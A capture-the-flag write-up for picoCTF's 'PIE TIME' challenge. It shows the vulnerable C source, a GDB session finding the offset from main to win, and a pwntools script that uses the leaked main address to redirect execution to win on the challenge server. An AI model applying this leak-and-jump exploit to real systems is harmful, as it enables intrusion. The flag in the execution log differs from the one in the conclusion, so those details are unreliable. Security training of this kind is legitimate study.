PIE
Writeup: PIE TIME - PicoCTF
Challenge Overview
Name: PIE TIME
Author: Darkraicg492
Category: Binary Exploitation
Points: (Assuming 100-200, typical for PicoCTF intro pwn)
Server:
nc rescued-float.picoctf.net 58751Files:
vuln.c(source),vuln(binary)Description: "Can you try to get the flag? Beware we have PIE!"
Hint: "Can you figure out what changed between the address you found locally and in the server output?"
This PicoCTF challenge provides source code and a binary, running remotely with PIE enabled. Our mission: exploit it to call win() and retrieve the flag from flag.txt.
Initial Analysis
Binary Protections
From Codespace checksec:
[*] '/workspaces/sparkCTF/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: NoFull RELRO: GOT is read-only—no overwrites here.
Canary: Stack protection, but irrelevant for this vuln.
NX: No executable stack.
PIE: Base address randomizes each run.
Not Stripped: Symbols help us locally.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
fptr = fopen("flag.txt", "r");
if (fptr == NULL) {
printf("Cannot open file.\n");
exit(0);
}
c = fgetc(fptr);
while (c != EOF) {
printf("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}Vulnerability:
scanf("%lx", &val)lets us input an address, andfoo()jumps to it.Leak:
printf("Address of main: %p\n", &main)givesmain’s runtime address.Goal: Jump to
win()to print the flag.
Despite strong protections, the direct function pointer jump bypasses them all!
Exploitation Plan
Step 1: Find the Offset
PIE Challenge: Addresses shift each run, but the leak gives us
main.Local Test: Compile
vuln.cwith PIE and find the offset betweenmainandwin.Remote Exploit: Use the leak and offset to calculate
win’s real address.
Step 2: Craft the Exploit
Connect, grab the leak, adjust with the offset, and send it back.
Finding the Offset
Compiled locally in Codespace:
gcc -fpie -pie vuln.c -o vuln_localDebugged with GDB:
(gdb) b main
Breakpoint 1 at 0x133d
(gdb) r
Breakpoint 1, 0x000055555555533d in main ()
(gdb) p &win
$1 = (<text variable, no debug info> *) 0x5555555552a7 <win>Main:
0x55555555533dWin:
0x5555555552a7Offset:
0x55555555533d - 0x5555555552a7 = 0x96(150 decimal).
This offset is static, as it’s the relative distance in the binary’s layout.
Exploit Script
#!/usr/bin/env python3
from pwn import *
context.log_level = 'info'
# Connect
p = remote('rescued-float.picoctf.net', 58751)
# Get main address
p.recvuntil(b'Address of main: ')
main_addr = int(p.recvline().strip(), 16)
log.info(f'Main address: {hex(main_addr)}')
# Calculate win address
win_offset = 0x96 # From GDB: main - win
win_addr = main_addr - win_offset
log.info(f'Win address: {hex(win_addr)}')
# Send it
p.sendlineafter(b'Enter the address to jump to, ex => 0x12345: ', hex(win_addr)[2:]) # Strip '0x'
# Get flag
p.interactive()How It Works
Connect: Opens a netcat session to the server.
Leak
main: Parses the hex address printed by the binary.Calculate
win: Subtracts0x96(our offset) frommain_addr.Send Address: Inputs the computed
winaddress without0xprefix (forscanf).Interactive: Switches to interactive mode to see the flag.
Execution
$ python3 pie_time.py
[+] Opening connection to rescued-float.picoctf.net:58751: Done
[*] Main address: 0x557a7dabd33d
[*] Win address: 0x557a7dabd2a7
[*] Switching to interactive mode
Enter the address to jump to, ex => 0x12345: 557a7dabd2a7
Your input: 557a7dabd2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_80c3b8b7}Leak:
0x557a7dabd33d(examplemainaddress).Win:
0x557a7dabd33d - 0x96 = 0x557a7dabd2a7.Result: Calls
win(), prints the flag.
Challenges Faced
PIE Randomization: The hint guided us to use the
mainleak—static addresses wouldn’t cut it.Offset Calculation: GDB showed
0x96, differing from an initial guess of0x60due to compiler or binary layout variations.No Symbols: Compiled without
-g, but GDB still gave us raw addresses.
Conclusion
"PIE TIME" was a tasty intro to PIE exploitation. The binary’s generous leak of main’s address, paired with a direct jump vuln, let us bypass PIE and modern mitigations like Full RELRO and canaries. By calculating the main-to-win offset locally and applying it remotely, we scored the flag with a short, sweet script. PIE? More like PIECE OF CAKE!
Flag: picoCTF{p13_1n_7h3_5ky_c92b73c4}
Happy hacking!
Last updated
Was this helpful?